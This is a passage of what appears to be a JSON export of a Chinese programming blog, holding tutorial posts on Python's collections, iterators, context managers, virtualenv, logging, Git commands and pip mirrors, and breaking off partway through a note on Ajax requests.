将deque最末尾i个元素取出并插入头部,若i<0, 则将头部|i|个元素取出添加到尾部。 4. Counter - 计数器 4.1 介绍 Counter类是dict的子类,提供一个计数器,可对hashable的对象进行计数。需要注意的是,对象的计数可以小于0. 4.2 基本操作 直接上例子: 12345678910>>> c = Counter() # 空计数器>>> c = Counter('gallahad') # 对iterable对象中的元素进行计数>>> c = Counter({'red': 4, 'blue': 2}) # 从map中读取元素和对应计数>>> c = Counter(cats=4, dogs=8) # 从关键字参数中获取>>> cCounter({'dogs': 8, 'cats': 4})>>> c["dogs"] # 获取计数8>>> c["elephants"] # 对于不存在的元素,会返回0 0 4.3 成员函数 elements(), 返回一个迭代器,包含Counter中的所有元素,若元素x的计数为n,则x在迭代器中会出现n次。 123c = Counter(a=4, b=2, c=0, d=-2)>>> list(c.elements())['a', 'a', 'a', 'a', 'b', 'b'] most_common([n]), 返回计数最多的n个元素。 12>>> Counter('abracadabra').most_common(3)[('a', 5), ('r', 2), ('b', 2)] update([iterable-or-mapping]), 在现有计数上添加参数所对应的计数。 123456>>> c = Counter("1233")>>> cCounter({'3': 2, '1': 1, '2': 1})>>> c.update("2345")>>> cCounter({'3': 3, '2': 2, '1': 1, '5': 1, '4': 1}) substact([iterable-or-mapping]), 在现有计数上减去参数所对应的计数。 可以用在Counter对象上的通用函数和常见用法有: sum(c.values()), 所有计数之和 c.clear(), 将计数重置 list(c), 返回所有元素构成的列表, 其中元素不会重复 set(c), 转化为set dict(c), 转化为dict c.items(), 转化为由(元素, 计数)构成的列表 Counter(dict(list_of_pairs)), 从上述列表转化为Counter对象 c.most_common()[:-n-1:-1], 出现最少的n个元素 c += Counter(), 移除所有元素计数为0的元素 注意: 将某元素的计数赋值为0, 并不能在计数器的元素列表中删除该元素。若要删除该元素,需要用del. 12345678910111213>>> c = Counter("12")>>> cCounter({'1': 1, '2': 1})>>> c["0"]0>>> cCounter({'1': 1, '2': 1})>>> c["0"] = 0>>> cCounter({'1': 1, '2': 1, '0': 0})>>> del c["0"]>>> cCounter({'1': 1, '2': 1}) 5. defaultdict 5.1 介绍 defaultdict类是dict类的子类,包含dict类的所有功能。与dict不同的是,在调用不存在的键值时,dict会抛出KeyError异常,而defaultdict会执行__missing__函数, 通过调用该函数来进行操作或返回值。 定义方式如下: 1234d = defaultdict() # 这种定义方式返回的对象跟普通dict无异a = defaultdict(lambda: "N/A") # 定义__missing__函数print a["0"] # 返回"N/A", 同时a["0"]被赋值为"N/A" 5.2 应用场景 1234567>>> s = [('yellow', 1), ('blue', 2), ('yellow', 3), ('blue', 4), ('red', 1)]>>> d = defaultdict(list) # 若键值不存在,则赋值为[]>>> for k, v in s:... d[k].append(v)...>>> d.items()[('blue', [2, 4]), ('red', [1]), ('yellow', [1, 3])] 6. OrderdDict 6.1 简介 使用dict时,Key是无序的。在对dict做迭代时,我们无法确定Key的顺序。如果要保持Key的顺序,可以用OrderedDict. OrderedDict的键值顺序按照键值被插入的顺序排列,而不是Key本身的顺序。 OrderdDict的键值可以通过调用popitem函数被弹出,弹出时弹出(key, item)的键值对。 1234567891011>>> a = OrderedDict({"one": 1}) # 可通过dict定义,也可传入可迭代对象>>> a["zero"] = 0>>> a["two"] = 2>>> aOrderedDict([('one', 1), ('zero', 0), ('two', 2)])>>> a.popitem() # 弹出最后一个键值对('two', 2)>>> a.popitem(last=False) # 弹出第一个键值对('one', 1)>>> aOrderedDict([('zero', 0)]) 7. 参考文档 8.3 collections — High-performance container datatypes collections - 廖雪峰的官方教程 8. 后记 这篇博文写了两天,感觉在翻译文档,有点枯燥。一直觉得应该多去了解Python的内置常用模块,不要求完全熟练,至少要有个印象,这样在开发中需要使用这些模块的时候,才能够想起来用它。 所以,又填完一个坑。下一个应该是unittest吧。","categories":[{"name":"Python","slug":"Python","permalink":"https://blog.stdioa.com/categories/Python/"}],"tags":[{"name":"python","slug":"python","permalink":"https://blog.stdioa.com/tags/python/"},{"name":"collections","slug":"collections","permalink":"https://blog.stdioa.com/tags/collections/"}]},{"title":"Python学习之迭代器","slug":"learning-python-iterator","date":"2015-10-26T07:43:00.000Z","updated":"2022-09-10T01:41:19.795Z","comments":true,"path":"2015/10/learning-python-iterator/","link":"","permalink":"https://blog.stdioa.com/2015/10/learning-python-iterator/","excerpt":"昨晚用python写了个简单的链表,突然想起了迭代器,就随手整理一下,顺便过一下itertools模块。","text":"昨晚用python写了个简单的链表,突然想起了迭代器,就随手整理一下,顺便过一下itertools模块。 1. 简介 迭代器(iterator)是Python中一种用来进行惰性迭代的数据类型,迭代器可以惰性地在需要时生成数据并返回已进行迭代,而不需要在开始进行时生成所有数据(有的时候也不可能生成所有数据,比如斐波那契数列的无穷迭代等)然后一个一个返回。 2. 用法 2.1 最基础的例子: iter()函数生成迭代器 1234567891011list_ = [1,2]it = iter(list_) # 返回一个迭代器it.next() # 获取一个迭代器元素,返回1next(it) # 使用next内建函数,等同于it.next(), 返回2it.next() # 迭代结束,触发StopIteration异常list_ = [1,2]it = iter(list_)for x in it: # 用for循环对迭代器进行循环迭代 print x # 迭代结束时,StopIteration不会被触发 值得注意的是,迭代器只可向前迭代,不能向后迭代,获取之前已返回过的值(当然绝大多数的时候也没必要向后迭代)。 2.2 生成器 [x*2 for x in range(10) if x%2==0], 这段代码为列表生成式(也称作列表解析),可以将一个列表进行转化;将方括号变为圆括号,(x*2 for x in range(10) if x%2==0), 则该代码变为一个生成器(generator)。 生成器可以像迭代器一样进行迭代,还可以通过生成器的成员函数和生成器内部的代码进行数据交换。 3. 自定义迭代器及生成器 3.1 自定义迭代器 在编写类的时候,可以通过定义类的__iter__函数来使类可以转化为迭代器。在__iter__函数结束时,会自动引发StopIteration异常。例: 12345678910111213141516class Counter(object): def __init__(self): self.number = 0 def __iter__(self): while True: yield self.number self.number += 1a = Counter()it = iter(a)print it.next() # 0print it.next() # 1for num in it: print num # 因为该迭代器为无穷迭代,所以会导致死循环 3.2 自定义生成器 可以用函数自定义生成器。例: 1234567891011def fib(): a, b = 1, 1 while True: yield a # 用yield函数来在迭代时返回值,在下次迭代时,自动从yield语句的下一条语句开始执行 a, b = b, a+bk = fib()for i in range(10): print next(k) # 1 1 2 3 5 8 13 21 34 55print type(k) # <generator object fib at 0x0268BDF0> 3.3 生成器的进阶用法 generator.next()用来进行迭代并获取返回值;generator.close()用来关闭生成器,并在下次迭代时出发StopIteration异常。 1234a = fib()print next(a) # 1a.close() # 关闭迭代器print next(a) # StopIteration generator.send(arg)可以向生成器内部传递对象,generator.throw(typ[,val[,tb]])可以向生成器内部传递异常(包括类型,具体异常对象和Traceback);在调用这两个函数后,生成器立刻进行迭代并返回值(或触发StopIteration)。具体操作: 123456789101112131415161718def counter(): num = 0 while True: try: ret = yield num except ValueError: print "ValueError caught" if ret is not None: num = ret num += 1c = counter()print c.next() # 0print c.send(3) # 传输3,内部yield语句返回3,然后进行下次迭代,生成4print c.next() # 5c.throw(ValueError) # 传递异常,内部yield函数触发异常,然后进行异常处理,输出"ValueError caught",若未处理,则异常会向上层抛出print c.next() # 6 4. itertools模块 itertools是Python自带的一个模块,包含很多使用函数,用来对一个或多个可迭代对象进行操作后返回一个迭代器。具体函数列表: 无限迭代器 count(start, [step]) 从start开始,以后每个元素都加上step。step默认值为1。 count(5) -> 5 6 7 … cycle(p) 迭代至p的最后一个元素之后,从p的第一个元素重新迭代。 cycle('abc') -> a b c a b c … repeat(elem [,n]) 无限重复或重复n次返回elem。 repeat("Ah", 3) -> “Ah” “Ah” “Ah” 在最短的序列结束迭代时停止迭代 chain(p, q, …) 迭代至序列p的最后一个元素后,从q的第一个元素开始,直到所有序列终止。 chain("ABC", "DEF") -> A B C D E F compress(data, selectors) 如果bool(selectors[n])为True,则next()返回data[n],否则跳过data[n]。 compress('ABCDEF', [1,0,1,0,1,1]) -> A C E F dropwhile(pred, seq) 当pred对seq[n]的调用返回False时才开始迭代。 dropwhile(lambda x: x<5, [1,4,6,4,1]) -> 6 4 1 takewhile(pred, seq) dropwhile的相反版本。 takewhile(lambda x: x<5, [1,4,6,4,1]) -> 1 4 ifilter(pred, seq) 内建函数filter的迭代器版本。 ifilter(lambda x: x%2, range(10)) -> 1 3 5 7 9 ifilterfalse(pred, seq) ifilter的相反版本。 ifilterfalse(lambda x: x%2, range(10)) -> 0 2 4 6 8 imap(func, p, q, ...) 内建函数map的迭代器版本。 imap(pow, (2,3,10), (5,2,3)) -> 32 9 1000 starmap(func, seq) 将seq的每个元素以变长参数(*args)的形式调用func。 starmap(pow, [(2,5), (3,2), (10,3)]) -> 32 9 1000 izip(p, q, ...) 内建函数zip的迭代器版本。 izip('ABCD', 'xy') -> Ax By izip_longest(p, q, ..., fillvalue=None) izip的取最长序列的版本,短序列将填入fillvalue。 izip_longest('ABCD', 'xy', fillvalue='-') -> Ax By C- D- tee(it, n) 返回n个迭代器it的复制迭代器。 groupby(iterable[, keyfunc]) 这个函数功能类似于SQL的分组。使用groupby前,首先需要使用相同的keyfunc对iterable进行排序,比如调用内建的sorted函数。然后,groupby返回迭代器,每次迭代的元素是元组(key值, iterable中具有相同key值的元素的集合的子迭代器)。或许看看Python的排序指南对理解这个函数有帮助。 groupby([0, 0, 0, 1, 1, 1, 2, 2, 2]) -> (0, (0 0 0)) (1, (1 1 1)) (2, (2 2 2)) 组合迭代器 product(p, q, ... [repeat=1]) 生成笛卡尔积。 product('ABCD', repeat=2) --> AA AB AC AD BA BB BC BD CA CB CC CD DA DB DC DD permutations(p[, r]) 生成全排列。 permutations('ABCD', 2) --> AB AC AD BA BC BD CA CB CD DA DB DC combinations(p, r) 生成组合。 combinations('ABCD', 2) --> AB AC AD BC BD CD combinations_with_replacement() 生成排列元素(p, q), 且p<q. combinations_with_replacement('ABCD', 2) --> AA AB AC AD BB BC BD CC CD DD 部分文字来源:http://www.cnblogs.com/huxi/archive/2011/07/01/2095931.html 5. 参考文档 itertools - Python Doc 生成器 - 廖雪峰的Python教程 Python 迭代器 & __iter__方法 Python函数式编程指南(三):迭代器","categories":[{"name":"Python","slug":"Python","permalink":"https://blog.stdioa.com/categories/Python/"}],"tags":[{"name":"python","slug":"python","permalink":"https://blog.stdioa.com/tags/python/"},{"name":"迭代器","slug":"迭代器","permalink":"https://blog.stdioa.com/tags/%E8%BF%AD%E4%BB%A3%E5%99%A8/"}]},{"title":"Python学习之上下文管理","slug":"learning-python-context-management","date":"2015-10-22T12:00:00.000Z","updated":"2022-09-10T01:41:19.795Z","comments":true,"path":"2015/10/learning-python-context-management/","link":"","permalink":"https://blog.stdioa.com/2015/10/learning-python-context-management/","excerpt":"最近突发奇想,想写一个能改变当前输出环境,输出彩色文字的上下文管理器,于是学习了一下上下文管理。","text":"最近突发奇想,想写一个能改变当前输出环境,输出彩色文字的上下文管理器,于是学习了一下上下文管理。 1. 简介 上下文管理器(context manager)是Python2.5开始支持的一种语法,用于规定某个对象的使用范围。一旦进入或者离开该使用范围,会有特殊操作被调用 (比如为对象分配或者释放内存)。一个最简单的例子: 12345with file("a.txt", "r") as f: s = f.read() print f.closed # 此时文件是打开的print f.closed # 变量s和f依然存在,但此时f已关闭 2. 编写上下文管理器 为一个类编写上下文管理器时,需要定义类的__enter__和__exit__函数。 2.1 __enter__函数 __enter__函数规定如下: contextmanager.__enter__() Enter the runtime context and return either this object or another object related to the runtime context. The value returned by this method is bound to the identifier in the as clause of with statements using this context manager. 进入当前上下文,并返回当前对象或另一个与当前上下文相关的对象。被该函数返回的变量会通过该上下文管理器与with文法中as后的声明所绑定。 例: 1234567891011class BracketAdder(object): def __enter__(self): # do something with self and runtime context sys.stdout.write("(") # 输出左括号 return self # __exit__函数略with BracketAdder() as ba: # do_something 2.2 __exit__函数 __exit__函数格式如下: contexmanager.__exit__(exc_type, exc_val, exc_tb) 文档太长懒得翻译了_(:зゝ∠)_ 如果代码块中出现异常,exc_type为异常类型,exc_val为该异常,exc_tb为traceback.__exit__函数应返回一个bool类型,若返回值为True, 则在代码块及__exit__函数运行结束后不会抛出任何异常,然后立即执行后面的代码;若返回值为False,则在__exit__函数运行结束后抛出异常。 若代码块中未出现异常,则三个变量均为None. 例: 12345678910111213class BracketAdder(object): # __enter__函数略 def __exit__(self, exc_type, exc_val, exc_tb): # do something with self and runtime context sys.stdout.write(')') if exc_type == NameError: return True else: return Falsewith BracketAdder(): print a # 若执行这一条引发NameError异常,则异常不会被抛出 a = 1/0 # 若执行这一条引发ZeroDivisionError, 则异常会被抛出 3. 综合示例 123456789101112131415161718192021222324252627282930313233343536# coding: utf-8import sysclass CManager(object): def __init__(self): self.in_context = False def __enter__(self): self.in_context = True print "I'm entering the context" return self def __exit__(self, exc_type, exc_val, exc_tb): self.in_context = False print "I'm leaving the context" if exc_type == NameError: # 拦截NameError异常 return True else: return False def show(self): print "I'm {status}in the context.".format( status="" if self.in_context else "not ")with CManager() as ba: ba.show() # blahblah raise NameError # 触发NameError异常,代码块后面的语句实际不会执行,而该异常会在__exit__函数中被拦截 print 'k'ba.show() 程序输出: 1234I'm entering the contextI'm in the context.I'm leaving the contextI'm not in the context. 4. 参考文档 Context Manager Types - Python Doc Python深入02 上下文管理器 浅谈 Python 的 with 语句 5. 后记 这些小知识点平时只是粗略的看一下,只能达到会用的程度,有时候觉得只有自己整理一遍才能真正理解它们,才能熟练运用。 所以…又填完一个坑。周末简单写写PyQt4吧…","categories":[{"name":"Python","slug":"Python","permalink":"https://blog.stdioa.com/categories/Python/"}],"tags":[{"name":"python","slug":"python","permalink":"https://blog.stdioa.com/tags/python/"},{"name":"上下文管理","slug":"上下文管理","permalink":"https://blog.stdioa.com/tags/%E4%B8%8A%E4%B8%8B%E6%96%87%E7%AE%A1%E7%90%86/"}]},{"title":"Python学习之virtualenv","slug":"learning-python-virtualenv","date":"2015-10-22T02:15:00.000Z","updated":"2022-09-10T01:41:19.796Z","comments":true,"path":"2015/10/learning-python-virtualenv/","link":"","permalink":"https://blog.stdioa.com/2015/10/learning-python-virtualenv/","excerpt":"用过virtualenv的人都说好,可是我没有具体使用过,所以尝试了一下,用完我也说好~233333","text":"用过virtualenv的人都说好,可是我没有具体使用过,所以尝试了一下,用完我也说好~233333 1. 简介 virtualenv是一个python库,用于创建独立python开发及运行环境。一般linux环境下如果在全局用pip安装模块时需要使用sudo命令,可是在共享主机上将root权限交给一般用户是不显示而且不安全的。可是有了virtualenv, 普通用户就可以创建一个虚拟环境,然后在虚拟环境中以普通用户权限安装模块,更改环境变量,进行开发和运行python程序而不会影响系统环境的环境变量和Python模块。 2. 创建virtualenv环境 输入virtualenv venv创建名为venv的虚拟环境。 创建虚拟环境的常用选项: –no-site-packages 不使用系统中的site packages –system-site-package 使用系统中的site packages (据说是默认,但在我这默认是不使用的) -p PYTHON_EXE, --python=PYTHON_EXE 使用指定的python解释器,这里的PYTHON_EXE在Windows下需要用绝对路径,比如C:\\Python27\\python.exe\\ 当然,也可以使用虚拟环境和系统配置文件来设置virtualenv默认创建选项,详情见这里。 输出: 123G:\\>virtualenv venvNew python executable in venv\\Scripts\\python.exeInstalling setuptools, pip, wheel...done. 3. 进入及退出虚拟环境 进入venv目录,Linux下输入bin/activate, Windows下输入Scripts\\activate进入虚拟环境。 12G:\\venv>Scripts\\activate(venv) G:\\venv> 进入环境后,输入deactivate退出。 12(venv) G:\\venv>deactivateG:\\venv> 4. 使用虚拟环境 4.1 安装第三方模块 安装过程与平时相符(比如使用pip install), 只不过安装后的包会存储在虚拟环境中。 4.2 设置环境变量 Linux下输入export VAR1="value1", Windows下输入set VAR1=value1来设置虚拟环境的环境变量 1234(venv) C:\\Users\\Stdio\\Desktop\\temp\\venv>set VAR1=value1(venv) C:\\Users\\Stdio\\Desktop\\temp\\venv>echo %VAR1%value1 环境变量设置成功后,即可在Python程序中利用虚拟环境的环境变量进行程序配置(比如flask中的app.config.from_envvar("FLASK_SETTINGS"))。该环境变量只在虚拟环境中有效,退出虚拟环境后环境变量即消失。 5. 参考文档 Virtualenv - virtualenv 13.1.2 documentation Virtualenv - virtualenv 1.7.1.2.post1 documentation 中文版 virtualenv入门教程 virtualenv – python虚拟沙盒 用virtualenv建立多个Python独立开发环境 6. 后记 又填完一个坑,本来打算昨天就写好的,结果昨天没写完…","categories":[{"name":"Python","slug":"Python","permalink":"https://blog.stdioa.com/categories/Python/"}],"tags":[{"name":"python","slug":"python","permalink":"https://blog.stdioa.com/tags/python/"},{"name":"virtualenv","slug":"virtualenv","permalink":"https://blog.stdioa.com/tags/virtualenv/"}]},{"title":"Python学习之logging","slug":"learning-python-logging","date":"2015-10-21T08:00:00.000Z","updated":"2022-09-10T01:41:19.795Z","comments":true,"path":"2015/10/learning-python-logging/","link":"","permalink":"https://blog.stdioa.com/2015/10/learning-python-logging/","excerpt":"以前写代码的时候,所有信息包括调试信息全部输出在屏幕上,有的时候会看起来乱糟糟的,这时就需要logging模块来记录信息或生成日志文件。","text":"以前写代码的时候,所有信息包括调试信息全部输出在屏幕上,有的时候会看起来乱糟糟的,这时就需要logging模块来记录信息或生成日志文件。 1. 简介 logging是一个用来记录日志信息的模块,它可以输出信息到stdout或者自定的日志文件中。 2. 基本 输出信息: 12345logging.debug("A debug message")logging.info("A info message")logging.warn("A warning message")logging.error("A error message")logging.critical("A critical message") 日志级别: logging默认的日志级别为WARNING,在当前级别下,只有warning及以上的日志可以被记录。logging的级别可通过logging.basicConfig或logging.setLevel来修改。级别大小关系为CRITICAL(50) > ERROR(40) > WARNING(30) > INFO(20) > DEBUG(10) > NOTSET(0), 需要注意的是,一旦记录信息,logging的日志级别就不可再更改。 12345>>> logging.basicConfig(level=logging.INFO)>>> logging.info("Info")INFO:root:Info>>> logging.basicConfig(level=logging.DEBUG)>>> logging.debug("Debug") # 没有输出 3. 日志格式设置及日志文件操作 12345678910111213import loggingimport timelogging.basicConfig(format="%(asctime)s %(levelname)s %(message)s", datefmt="%Y %b %d %H:%M:%S", filename="./log.log", filemode="w", # default is "a" level=logging.INFO)while True: for i in range(6): logging.log(i*10, "a log") # logging.log(level, msg) time.sleep(1) log.log输出(可以用tail -f命令实时查看): 123456782015 Oct 21 14:41:36 INFO a log2015 Oct 21 14:41:37 WARNING a log2015 Oct 21 14:41:38 ERROR a log2015 Oct 21 14:41:41 CRITICAL a log2015 Oct 21 14:41:42 INFO a log2015 Oct 21 14:41:43 WARNING a log2015 Oct 21 14:41:44 ERROR a log2015 Oct 21 14:41:45 CRITICAL a log 4. 将日志输出到多个流中 1234567891011121314151617181920import loggingimport sys# 可以通过logging.basicConfig设置一个默认流console = logging.StreamHandler(stream=sys.stdout) # 默认流为sys.stderrconsole.setLevel(logging.INFO)formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s')console.setFormatter(formatter)logging.getLogger().addHandler(console)files = logging.FileHandler("log2.log", mode="a", encoding="utf-8") # 设置文件流files.setLevel(logging.WARNING)formatter = logging.Formatter("%(levelname)s %(message)s")files.setFormatter(formatter)logging.getLogger().addHandler(files)for i in range(1, 6): logging.log(i*10, logging.getLevelName(i*10).lower()) 5. 设置多个logger以记录不同信息 12345678910111213141516171819202122232425262728# coding: utf-8import loggingimport syslog1 = logging.Logger("0.0")console = logging.StreamHandler(sys.stdout) # 默认流为sys.stderrconsole.setLevel(logging.INFO)formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s')console.setFormatter(formatter)log1.addHandler(console)log2 = logging.Logger("-.-")files = logging.FileHandler("log2.log", mode="a", encoding="utf-8") # 设置文件流files.setLevel(logging.WARNING)formatter = logging.Formatter("%(name)s %(levelname)s %(message)s")files.setFormatter(formatter)log2.addHandler(files)for i in range(1, 6): log1.log(i*10, logging.getLevelName(i*10).lower()) log2.log(i*10, logging.getLevelName(i*10).lower())logging.critical("AHHH! I'm the root logger but you forget me!") # 默认使用logging时logger name为"root"logging.getLogger("root").info("Of course not!") 5. 参考文档 Logging HOWTO python 的日志logging模块学习 6. 后记 又填完一个坑,最近要填的坑好多…","categories":[{"name":"Python","slug":"Python","permalink":"https://blog.stdioa.com/categories/Python/"}],"tags":[{"name":"python","slug":"python","permalink":"https://blog.stdioa.com/tags/python/"},{"name":"logging","slug":"logging","permalink":"https://blog.stdioa.com/tags/logging/"}]},{"title":"随手记之Git","slug":"essay-git","date":"2015-10-14T10:28:00.000Z","updated":"2022-09-10T01:41:19.792Z","comments":true,"path":"2015/10/essay-git/","link":"","permalink":"https://blog.stdioa.com/2015/10/essay-git/","excerpt":"从一年前开始使用Git, 一直没系统整理过Git的命令,前几天在部署代码的时候出了问题不知道该如何解决,于是决定整理一份Git的使用方法。本博文会持续更新。","text":"从一年前开始使用Git, 一直没系统整理过Git的命令,前几天在部署代码的时候出了问题不知道该如何解决,于是决定整理一份Git的使用方法。本博文会持续更新。 1. 什么是Git Linus大神写的分布式版本控制工具,具体请访问官网http://git-scm.com. Wikipedia链接: Git (software) 2. 基本操作 初始化版本仓库: git init 从远程仓库克隆: git clone [url] [repo_name] 例: git clone https://github.com/user/repo my_repo 文件的状态变化周期 检查文件状态: git status 状态简览: git status -s 123456$ git status -s M READMEMM RakefileA lib/git.rbM lib/simplegit.rb?? LICENSE.txt 字母 所代表的状态 ?? 未追踪 M 已修改,未暂存 MM 修改后暂存,然后又修改 A 新添加到暂存区 M 修改后添加到暂存区 忽略文件: 编辑.gitignore文件。 文件 .gitignore 的格式规范如下: 所有空行或者以 # 开头的行都会被 Git 忽略。 可以使用标准的 glob 模式匹配。 匹配模式可以以(/)开头防止递归。 匹配模式可以以(/)结尾指定目录。 要忽略指定模式以外的文件或目录,可以在模式前加上惊叹号(!)取反。 具体例子见Git-基础。 查看尚未暂存的文件更新部分: git diff 查看已暂存的文件更新的部分: git diff --staged 提交更新: git commit git commit -a = git add --all; git commit 提交时输入单行信息(Commit log): git commit -m 添加文件: git add [filename], 使git跟踪文件 删除文件: git rm [filename], 使git停止跟踪文件并将文件删除 停止跟踪文件: git rm --cached, 停止跟踪但不删除文件 移动文件: git mv, 规则和mv基本相同 查看提交历史: git log 显示每次提交的内容差异: git log -p 查看每次提交的简略统计信息: git log --stat 查看每次提交的代码更改详情:git log --cc 显示ASCII图形表示的分支合并历史: git log --graph 粗略显示: git log --oneline --graph --decorate --all 更多请输入git log --help查看man page. 更改上次提交: git commit --amend 取消暂存: git reset HEAD [filename] 取消暂存并丢弃现有的更改: git reset HEAD --hard [filename], 未提交的更改会丢失 撤销对文件的更改: git checkout -- [filename], 未提交的更改会丢失 git push origin --delete [branch], 删除远程分支 3. 分支操作 git branch [branch], 在当前引用上建立新分支 git checkout -b [branch], 建立新分支并检出到该分支上 commit引用方式: 直接hash引用: d921970aadf03b3cf0e71becdaab3147ba71cdef, d921970 分支引用: HEAD, master 相对引用: HEAD^, HEAD^^, HEAD~2 若a是一个合并提交,有两个父引用,则a^为a的第一父引用,a^2为a的第二父引用。 条件引用: master@{yesterday}, master@{1.week.before} 引用区间: refA..refB选择从refA和refB的共同祖先开始直到refB的所有提交。例: 1234若 1 - 2 - 3 - 4 ← refA \\ 5 - 6 ← refBrefA..refB 即为6 5, refB..refA 即为4 3.origin/master..master为master分支上还未提交到远端的所有引用 区间筛选,例:以下三条命令等价: $ git log refA..refB $ git log ^refA refB $ git log refB --not refA refA...refB选择出被两个引用中的一个包含但又不被两者同时包含的提交,即refA..refB+refB..refA 12345$ git log --left-to-right refA...refB< 4< 3> 6> 5 4. 工作储藏 git stash "comments", 储藏所有工作,包括已添加的和已更改未添加的 git stash apply stash@{0}, 恢复储藏,可能会产生冲突,解决冲突后git add添加 git stash list, 列出储藏栈 git stash show [stashname], 查看储藏的更改 git stash pop, 应用栈顶储藏并弹出储藏 git stash drop [stashname], 删除储藏 git stash branch [branchname], 应用储藏到某分支并切换到该分支 git stash --keep-index, 只储藏已更改未添加的改动,不储藏 已添加的 git stash --include-untracked, 储藏未追踪的文件(未追踪文件)并将其从工作目录中删除 git stash --all, 贮藏所有文件 5. git reset git reset --soft HEAD^, 将HEAD指针及当前分支指针指向HEAD^, 工作目录中所有的文件均添加暂存(staged), 类似“撤销git commit命令”,但如果重新提交,会创造一个hash不同的commit,即时提交内容完全相同。 git reset --mixed HEAD^, 将HEAD指针及当前分支指针指向HEAD^, 工作目录中的更改未暂存(modified but not staged), 类似“撤销git add和git commit命令” git reset --hard HEAD^, 将HEAD指针及当前分支指针指向HEAD^, 工作目录中的更改完全丢失,相当于“撤销更改, git add和git commit”.","categories":[{"name":"随手记","slug":"随手记","permalink":"https://blog.stdioa.com/categories/%E9%9A%8F%E6%89%8B%E8%AE%B0/"}],"tags":[{"name":"Git","slug":"Git","permalink":"https://blog.stdioa.com/tags/Git/"},{"name":"编程工具","slug":"编程工具","permalink":"https://blog.stdioa.com/tags/%E7%BC%96%E7%A8%8B%E5%B7%A5%E5%85%B7/"}]},{"title":"随手记 - 用国内镜像加速pip","slug":"essay-pip-acceleration","date":"2015-09-29T15:01:00.000Z","updated":"2022-09-10T01:41:19.792Z","comments":true,"path":"2015/09/essay-pip-acceleration/","link":"","permalink":"https://blog.stdioa.com/2015/09/essay-pip-acceleration/","excerpt":"原来Windows和Linux更改镜像源的方式是不一样的啊。","text":"原来Windows和Linux更改镜像源的方式是不一样的啊。 1. 引子 偶然发现USTC有一个pypi的源(在这里),照着USTC给的镜像使用帮助更改镜像源无果。今天闲来无事就多搜了一下。 2. 过程 USTC的镜像使用帮助里说,将index-url = https://pypi.mirrors.ustc.edu.cn/simple添加到~/.pip/pip.conf文件中,按照此思路看,如果我在Windows下使用的话,应该将配置信息添加到C:\\Users\\Stdio\\.pip\\pip.conf文件中。然而添加后并没有什么卵用。今天看见一个博文说文件设置路径应为%HOME%\\pip\\pip.ini,于是试了一下(绝对路径为C:\\Users\\Stdio\\pip\\pip.ini),成功。用了USTC的源,装个软件速度简直飞起︿( ̄︶ ̄)︿ 弄好以后多了个心眼,去看看官方怎么说,于是找到了pip的Documentation(在这里)里面讲述了配置文件所在位置。 1234567891011121314151617181920Config filepip allows you to set all command line option defaults in a standard ini style config file.The names and locations of the configuration files vary slightly across platforms. You may have per-user, per-virtualenv or site-wide (shared amongst all users) configuration:Per-user:On Unix the default configuration file is: $HOME/.config/pip/pip.conf which respects the XDG_CONFIG_HOME environment variable.On Mac OS X the configuration file is $HOME/Library/Application Support/pip/pip.conf.On Windows the configuration file is %APPDATA%\\pip\\pip.ini.There are also a legacy per-user configuration file which is also respected, these are located at:On Unix and Mac OS X the configuration file is: $HOME/.pip/pip.confOn Windows the configuration file is: %HOME%\\pip\\pip.iniYou can set a custom path location for this config file using the environment variable PIP_CONFIG_FILE.Inside a virtualenv:On Unix and Mac OS X the file is $VIRTUAL_ENV/pip.confOn Windows the file is: %VIRTUAL_ENV%\\pip.ini 于是自己将配置文件放在了%APPDATA%\\pip\\pip.ini,即C:\\Users\\Stdio\\AppData\\Roaming\\pip\\pip.ini下,经实验,加速成功。 经测试,系统层面的全局设置会影响到virtualenv建立的虚拟环境设置,所以可以通过设置虚拟环境的配置文件来更改虚拟环境设置,设置文件就放在虚拟环境根目录下就好了。 3. 瞎写 改了软件源以后为了做测试升级了numpy,然后编译用了半天中间电脑卡到死,现在它还在我的腿上发烫真是伤不起- - 写的东西越来越没有营养了,就当是写着玩顺带积累一下知识吧。如果不出意外的话,下一篇应该是关于Python Qt Creater和Qt GUI设计的小文章0.0也许是virtualenv的随手记吧。","categories":[{"name":"随手记","slug":"随手记","permalink":"https://blog.stdioa.com/categories/%E9%9A%8F%E6%89%8B%E8%AE%B0/"}],"tags":[{"name":"python","slug":"python","permalink":"https://blog.stdioa.com/tags/python/"},{"name":"pip","slug":"pip","permalink":"https://blog.stdioa.com/tags/pip/"}]},{"title":"点点技能点之Ajax","slug":"essay-ajax","date":"2015-09-22T13:07:00.000Z","updated":"2022-09-10T01:41:19.792Z","comments":true,"path":"2015/09/essay-ajax/","link":"","permalink":"https://blog.stdioa.com/2015/09/essay-ajax/","excerpt":"之前自己没怎么写过前端,一直以为Ajax写起来很麻烦,也没怎么接触Ajax,今天写了个小网页用到了Ajax,感觉它并不是想象的那么复杂,写完网页随手总结一下。(喂我这个技能点是不是点的太晚了啊!)","text":"之前自己没怎么写过前端,一直以为Ajax写起来很麻烦,也没怎么接触Ajax,今天写了个小网页用到了Ajax,感觉它并不是想象的那么复杂,写完网页随手总结一下。(喂我这个技能点是不是点的太晚了啊!) 1. 引子 没啥可写的… 2. 科普 W3School - Ajax教程,就这个吧,科普完毕。 3. 笔记 3.1 Ajax的特点 Ajax为Asynchronous Javascript And XML的缩写,即异步JS与XML,因为它具有异步特性,所以我们可以在网页加载中或加载结束的任意时刻使用,通过与服务器进行少量数据交换来实现网页异步更新。利用Ajax可以直接更改网页的一部分来动态刷新网页,而不需要刷新整个网页。 3.2 使用方法——原生方式 1234567891011var ajax = new XMLHttpRequest(); // IE6不能用这个方式,不管它了ajax.onreadystatechange = function() { if(ajax.readyState==4 && ajax.status==200) { // do something with ajax.responseText // 还有一个ajax.responseXML, 也不管它了,json大法好 alert(ajax.responseText); }}ajax.open("GET", "./get?var1=val1&var2=val2", true); // 异步方式运行ajax.send(); 123456var ajax = new XMLHttpRequest();ajax.open("POST", "./post", false); // 同步方式运行ajax.setRequestHeader("Content-type","application/x-www-form-urlencoded");ajax.send("var1=val1&var2=val2");// do something with ajax.responseTextalert(ajax.responseText); 3.3 原生的好麻烦!——jQuery Ajax jQuery,棒棒的前端库,不多说。 1234567891011121314151617// $.get(URL, callback)$.get("./get?var1=val1&var2=val2", function(data, status) { // do something with data & status });// $.post(URL,data,callback)$.post("./post", { var1: "val1", var2: "val2" }, function(data, status) { // do something with data & status });// $.getJSON(url, data, success(data,status,xhr))// data和回调函数success可选// success中,data参数必需,其它可选$.getJSON("./get", function(data) { 